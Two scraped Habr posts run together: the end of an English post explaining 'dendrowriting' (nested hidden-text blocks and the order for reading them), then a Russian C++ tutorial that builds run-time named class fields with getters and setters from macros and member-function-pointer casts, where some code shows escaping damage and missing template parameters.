I contacted:
* Alconost (it was the first link in Google search results for ‘бюро переводов сайтов’\‘website translation agency’)
* transly.ru and tran.su (found by searching for ‘бюро переводов markdown’\‘translation agency markdown’)
In the process of communicating with the first translation agency, the rules for reading “dendrotext” were formulated:
1. Hidden text {...} should be expanded only after the [corresponding] paragraph has been read in its entirety.
2. Hidden text {{...}} should be expanded after {...}.
For example, in the following sentence [from <http://yearver.org>]:
> Additional versions published in the same month, or {…} those fixing bugs of the main version {…}, shall be numbered `2021.2.1`, `2021.2.2`, and so on.
the second block of hidden text should be expanded (after the words ‘main version’), then all its nested blocks, and only then the first block (after the word ‘or’).
**Why was this “dendrotext” organized this way?**
**(Before reading this explanation, I strongly recommend that you read [in accordance with these rules] the indicated sentence from yearver.org in full)**
The second block of hidden text (after the words ‘those fixing bugs of the main version’) introduces the concept of bug-free projects, clarifying that such projects do not need bug-fixing versions. [And its [second block] could actually be placed right after the words ‘fixing bugs’ [{but I did not do that, since the first and second blocks of hidden text would then be too close to each other}].]
And the first block of the hidden text relates to the word ‘or’ (therefore it is located immediately after it), but since it uses the concept of bug-free projects [introduced in the second block], it should be expanded after the second block [which is why the first block was enclosed in additional curly braces].
At the end [of the translation process] there remained the painstaking work of “merging” the three translations I received into one text, choosing the best translation variants for each sentence and each term/concept.
**Why “dendrowriting”?**
*Dendro-* [comes](https://www.dictionary.com/browse/dendro- "<- google:‘dendro dictionary meaning’") from the Greek *déndron*, meaning “tree”. However, if you think of a tree as a data structure [in programming], then it's really not very clear how “dendrowriting” relates to it. But if you take a look at ordinary/real trees… Try to draw a vertical line on a piece of paper: that's the trunk of the tree, and this is your text [a paragraph or just a sentence]. Now go from bottom to top, and once you reach the first block of hidden text, make a branch (to the left or to the right {you can alternate: the first block of hidden text branches to the left, the second to the right, the third to the left again, etc.}). Then you expand the first block of hidden text [bottom branch of the tree]. It can either consist of plain text or contain other blocks of hidden text corresponding to the sub-branches of the tree.
**And how is it different from classic spoilers (like this)?**
“Dendrowriting” is blocks of hidden text within a paragraph.
Whereas the classic spoiler is a separate paragraph in itself {but which, like a block of hidden text in “dendrowriting”, may contain multiple paragraphs}. | https://habr.com/ru/post/648913/ | null | en | null |
# Поля класса доступные по имени с setter и getter в C++
Как известно, в C++ нет средства описания полей класса с контролируемым доступом, как например property в C#. На Хабрахабре уже пробегала [статья](http://habrahabr.ru/blogs/cpp/121799/) частично на эту тему, но мне решительно не нравится синтаксис. К тому же очень хотелось иметь возможность обращаться к полям из ран-тайма по имени.
#### Хочешь решить задачу — постарайся сперва узнать ответ
Давайте прикинем, что в итоге нужно получить.
Например поле типа int с именем «x». Нас вполне устроит такая запись:
```
field(int,x);
```
И дальше в коде мы хотим обращаться к этому полю
```
foo.x = 10;
int t = foo.x;
foo.setField("x", 15);
int p = foo.getField("x");
```
Еще иногда хотим сами контролировать установку и получение значения из этого поля, поэтому придется еще и геттеры и сеттеры написать.
А так же надо не забыть про возможность инициализации полей.
#### С чего начать
Что нужно знать в ран-тайме о полях? Как минимум их имена и значения. И еще не плохо было бы знать тип.
##### Тип
```
class Type
{
public:
const std::string name;
const size_t size;
template
static Type fromNativeType()
{
return Type(typeid(T).name(), sizeof(T));
}
Type(const char \* name, size\_t size) : size(size), name(name)
{
}
Type(const Type & another) : size(another.size), name(another.name)
{
}
};
```
Это далеко не полная реализация класса описывающего тип. На самом деле можно и нужно еще много всего дописать, но для решаемой задачи это не является самым главным, а имени и размера вполне достаточно. Возможно напишу отдельную статью посвященную описанию типа.
Кажется все более менее просто, смущает только статический метод. Дело в том, что синтаксис не позволяет инстанцировать шаблонный конструктор, передав аргументы шаблона в треугольных скобках.
Пример
```
class Bar
{
public:
template
Bar()
{
int var = val;
printf("%d\n", var);
}
};
```
Сам класс Bar не является шаблонным, однако имеет шаблонный конструктор по-умолчанию. Значит для вызова этого конструктора его надо инстанцировать. Напрашивается вот такой код:
```
Bar bar = Bar<10>();
```
Но такая запись означает инстанцирование шаблонного класса, а не шаблонного конструктора.
Обойти это иногда можно и дальше я покажу как.
Таким образом Type::fromNativeType<>() это в некотором смысле тоже конструктор.
#### Хранение полей
Поскольку мы хотим обращаться к полям по их именам из ран-тайма — нам придется их хранить каким-то образом. Я выбрал следующий вариант: создаем базовый класс, от которого наследуются все остальные. Этот класс содержит хранилище информации о полях и методы доступа к ней.
```
class Basic
{
std::vector fields;
public:
template
FieldType getField(const std::string & name, FieldType default)
{
for(int i = 0; i < fields.size(); ++i)
{
if (fields[i].name.compare(name)==0)
{
return static\_cast< Field\* >(fields[i].pointer)->getValue();
}
}
return default;
}
template
void setField(const std::string & name, FieldType value)
{
for(int i = 0; i < fields.size(); ++i)
{
if (fields[i].name.compare(name)==0)
{
static\_cast< Field\* >(fields[i].pointer)->setValue(value);
}
}
}
};
```
Для хранилища лучше использовать наверное std::map, для примера подойдет std::vector.
FieldDeclaration это просто структура содержащая информацию о типе.
```
struct FieldDeclaration
{
FieldDeclaration(const std::string & name, const Type & type, void * pointer = NULL) :
name(name),
type(type),
pointer(pointer)
{
}
const std::string name;
const Type type;
void * pointer;
};
```
#### Волшебная магия
Разумеется вся это система написана не с первого раза, а самая основная его часть вообще много раз модифицировался в следствие того, что некоторые пути решения задачи приводили в тупик.
Поэтому я буду вставлять только фрагменты кода, которые вместе собираются в общую картину.
##### Некоторые используемые понятия
```
#define __CONCAT__(a,b) a##b
#define __STRINGIZE__(name) #name
#define __CLASS_NAME__(name) __CONCAT__(__field_class__, name)
#define __GETTER_NAME__(fieldname) __CONCAT__(getterof_, fieldname)
#define __SETTER_NAME__(fieldname) __CONCAT__(setterof_, fieldname)
```
##### Псевдо-ключевое слово
В начале статьи мы условились, что будем использовать синтаксис описания полей, принимающий 2 аргумента: тип и имя поля. На самом деле я сделал разделение двух видов полей:
* **smartfield** — поддерживает геттер и сеттер и может быть получено по имени из ран-тайма
* **field** — не использует геттер и сеттер
```
#define smartfield(type,name) \
type __stdcall __GETTER_NAME__(name)(); \
void __stdcall __SETTER_NAME__(name)(type value); \
__FIELD_CLASS_DECLARATION_SMART__(type,name) \
__CLASS_NAME__(name) name;
#define field(type, name) \
__FIELD_CLASS_DECLARATION__(type,name) \
__CLASS_NAME__(name) name;
```
Первые две строчки макроса smartfield декларируют геттер и сеттер соответствующего поля прямо в классе, где будет располагаться поле. Затем надо обязательно написать их реализацию. Они будут называться getter\_<имя поля> и setter\_<имя поля> соответственно.
Модификатор соглашения вызова \_\_stdcall позволяет вызывать метод класса по указателю передав this явно в качестве первого параметра (соглашение \_\_thiscall по спецификации Microsoft используемое по-умолчанию использует регистр ECX для передачи this).
\_\_FIELD\_CLASS\_DECLARATION\_\_ и \_\_FIELD\_CLASS\_DECLARATION\_SMART\_\_ это описание классов соответствующих полей («классы внутренней кухни» к ним мы еще вернемся).
\_\_CLASS\_NAME\_\_(name) name; это собственно экземпляр «классов внутренней кухни».
##### class Field
Следует заметить, что «классы внутренней кухни» являются потомками более общего класса Field
```
#define NO_GETTER (TGetter)0
#define NO_SETTER (TSetter)0
template
class Field
{
protected:
typedef FieldType (\*TGetter)(void \*);
typedef void (\*TSetter)(void \*, FieldType);
TGetter getter;
TSetter setter;
void \* that;
public:
const std::string name;
const Type type;
FieldType value;
template< typename OwnerType >
Field(OwnerType \* \_this, const char \* nm)
: name( nm ),
type( Type::fromNativeType() ),
getter(NO\_GETTER),
setter(NO\_SETTER),
that(\_this)
{
\_this->fields.push\_back(FieldDeclaration(name, type, this));
}
template< typename OwnerType >
Field(OwnerType \* \_this, const char \* nm, const FieldType & initvalue)
: name( nm ),
type( Type::fromNativeType() ),
value(initvalue),
getter(NO\_GETTER),
setter(NO\_SETTER),
that(\_this)
{
\_this->fields.push\_back(FieldDeclaration(name, type, this));
}
FieldType getValue()
{
if (getter) return getter(that);
else return value;
}
void setValue(FieldType val)
{
if (setter) setter(that,val);
else value = val;
}
Field & operator = (FieldType val)
{
setValue(val);
return \*this;
}
operator FieldType()
{
return getValue();
}
};
```
Итак, у нас есть шаблонный класс Field, шаблон которого требует указания типа поля.
Класс хранить в себе:
* Имя поля
* Информацию о типе поля
* Значение
* Геттер
* Сеттер
* Указатель that равный this в классе-владельце
Обратите внимание, типы TGetter и TSetter написаны таким образом, что функции, которые они описывают, принимают в качестве первого параметра указатель void\*. На самом деле это указатель that. Это работает потому что геттер и сеттер явно помечены модификатором \_\_stdcall.
Теперь конструкторы. Они шаблонные, шаблон параметризуется типов класса владельца OwnerType, то есть класса, в котором поле объявляется. Сам конструктор принимает указатель this класса OwnerType и сохраняет в that. Кстати, как я уже говорил нельзя явно параметризовать конструктор, но у шаблонов есть интересная особенность: если есть возможность вывести тип которым надо параметризовать шаблон автоматически, то так и происходит. В данном случае это та самая ситуация. При передаче this в конструктор компилятор сам подставить тип OwnerType.
Аргумент nm принимает символьное имя поля. Оно создается оператором стрингификации (см. выше \_\_STRINGIZE\_\_) из более высоких макросов.
По-умолчанию инициализируем геттер и сеттер нулевыми значениями, чтоб знать что их не надо вызывать. Если геттер и сеттер присутствуют они будут заданы отдельно в классах наследниках.
Отличие второго конструктора от первого в том, что он принимает значение поля по-умолчанию, т.к. это довольно часто используется.
Далее идут дефолтные геттер и сеттер. Они проверяют наличие геттера/сеттера заданных программистом и если они заданы — вызывают их с явной передачей that первым параметром. В противном случае они просто возвращают значение / присваивают новое.
Оператор присвоения и оператор приведения к типу нужны просто для синтаксически более удобного доступа к значению поля.
#### Классы внутренней кухни
```
#define __FIELD_CLASS_DECLARATION__(type, name) \
class __CLASS_NAME__(name) : public Field \
{ \
public: \
\_\_FIELD\_CLASS\_CONSTRUCTOR\_1\_\_(type,name) \
\_\_FIELD\_CLASS\_CONSTRUCTOR\_2\_\_(type,name) \
\_\_CLASS\_NAME\_\_(name) & operator = (type val) \
{ \
Field::operator=(val); \
return \*this; \
} \
};
#define \_\_FIELD\_CLASS\_DECLARATION\_SMART\_\_(type, name) \
class \_\_CLASS\_NAME\_\_(name) : public Field\
{ \
public: \
\_\_FIELD\_CLASS\_CONSTRUCTOR\_1\_SMART\_\_(type,name) \
\_\_FIELD\_CLASS\_CONSTRUCTOR\_2\_SMART\_\_(type,name) \
\_\_CLASS\_NAME\_\_(name) & operator = (type val) \
{ \
Field::operator=(val); \
return \*this; \
}\
};
```
Эти классы будут подставляться прямо в класс-владелец. Для унификации имени этих классов используется макрос \_\_CLASS\_NAME\_\_ (см. выше). Они все являются наследниками уже рассмотренного класса Field.
Хорошей практикой является возвращение оператором присвоения ссылки на себя же, это позволяет писать каскадные присвоения.
Вся разница между ними в конструкторах.
##### О конструкторах этих классов
```
#define __FIELD_CLASS_CONSTRUCTOR_1_SMART__(type,name) \
template< class OwnerType > \
__CLASS_NAME__(name)(OwnerType * _this) \
: Field(\_this, \_\_STRINGIZE\_\_(name)) \
{ \
auto get\_ptr = &OwnerType::\_\_GETTER\_NAME\_\_(name); \
auto set\_ptr = &OwnerType::\_\_SETTER\_NAME\_\_(name); \
this->getter = (TGetter)(void\*)\*(void\*\*)(&get\_ptr); \
this->setter = (TSetter)(void\*)\*(void\*\*)(&set\_ptr); \
}
#define \_\_FIELD\_CLASS\_CONSTRUCTOR\_2\_SMART\_\_(type,name) \
template< class OwnerType > \
\_\_CLASS\_NAME\_\_(name)(OwnerType \* \_this, type initvalue) \
: Field(\_this, \_\_STRINGIZE\_\_(name), initvalue) \
{ \
auto get\_ptr = &OwnerType::\_\_GETTER\_NAME\_\_(name); \
auto set\_ptr = &OwnerType::\_\_SETTER\_NAME\_\_(name); \
this->getter = (TGetter)(void\*)\*(void\*\*)(&get\_ptr); \
this->setter = (TSetter)(void\*)\*(void\*\*)(&set\_ptr); \
}
#define \_\_FIELD\_CLASS\_CONSTRUCTOR\_1\_\_(type,name) \
template< class OwnerType > \
\_\_CLASS\_NAME\_\_(name)(OwnerType \* \_this) \
: Field(\_this, \_\_STRINGIZE\_\_(name)) \
{ \
}
#define \_\_FIELD\_CLASS\_CONSTRUCTOR\_2\_\_(type,name) \
template< class OwnerType > \
\_\_CLASS\_NAME\_\_(name)(OwnerType \* \_this, type initvalue) \
: Field(\_this, \_\_STRINGIZE\_\_(name), initvalue) \
{ \
}
```
Цифры 1 и 2 различают конструкторы с инициализацией значения поля (2) и без (1). Слово SMART указывает на наличие геттера и сеттера.
Все конструкторы так же шаблонные (тип необходимо сохранить и передать в конструктор Field) и точно так же используют автоматическую подстановку OwnerType. Вызывается соответствующий конструктор Field и в него передается кроме this и значения инициализации(если оно есть) еще и имя поля строкой const char [], полученной макросом \_\_STRINGIZE\_\_.
Далее в SMART конструкторах идет получение и сохранение указателей на геттер и сеттер. Работает это весьма странно. Дело в том, что С++ строго относится к приведению типов указателей на методы классов. Это связано с тем, что с учетом возможности наследования и виртуальных методов не всегда указатель на метод может быть выражен так же как указатель на функцию. Однако мы то знаем, что указатели на наш геттер и сеттер могут быть выражены например типом void\*.
Создаем временные переменные, которые будут хранить указатели на методы такими какими их отдает компилятор С++. Я написал тип auto, на самом деле можно было написать явно, но так ведь удобнее и спасибо С++0x за это.
Далее получаем указатели на эти временные переменные. Эти указатели приводим к типу void\*\*. Затем разыменовываем и получаем void\*. Ну и в конце приводим уже к TGetter или TSetter типам и сохраняем.
#### Последний штрих
Так как для нормальной работы полю нужен указатель this, то все поля необходимо инициализировать. Поэтому неплохо бы написать небольшие макросы, которые позволят это делать удобно.
```
#define initfieldval(name, value) name(this, value)
#define initfield(name) name(this)
```
Первый для инициализации значением, второй для простой инициализации.
Вот и всё!
#### Использование
```
#include "basic.h"
class Foo : public Basic
{
public:
smartfield(int, i);
field(float, f);
Foo();
};
Foo::Foo()
: initfield(i),
initfieldval(f, 3.14)
{
}
int Foo::getterof_i()
{
printf("Getting field i of class Foo\n");
return i.value;
}
void Foo::setterof_i(int value)
{
printf("Setting field i of class Foo\n");
i.value = value;
}
int main()
{
Foo foo;
int j = foo.i;
foo.setField("i", 10);
int k = foo.getField("i", -1);
float z = foo.f;
return 0;
}
```
#### Заключение
Итак, мы получили такой инструмент как поля класса с возможностью обращения по имени из ран-тайма и возможностью задания сеттеров и геттеров с достаточно простым синтаксисом. Я не утверждаю, что это самое лучшее решение поставленной задачи, наоборот у меня есть идеи как это можно было бы улучшить.
Из минусов отмечу невозможность создания статических полей (пока) и необходимость использования двух разных слов для инициализации полей с и без значения по-умолчанию.
[Исходники](http://dl.dropbox.com/u/3506908/cpp/Fields.7z)
PS
Все написанное здесь родилось исключительно из любви к C++.
Разумеется в работе я такого никогда не напишу и другим не советую, потому что код читается довольно таки сложно.
PS2
Я очень негодую отсутствую в препроцессоре возможности перегрузки макросов хотя бы по числу аргументов и считаю, что этому ничего не препятствует.
Если бы была возможность перегрузки макросов по числу аргументов макросы инициализации полей выглядели еще красивее. | https://habr.com/ru/post/125880/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.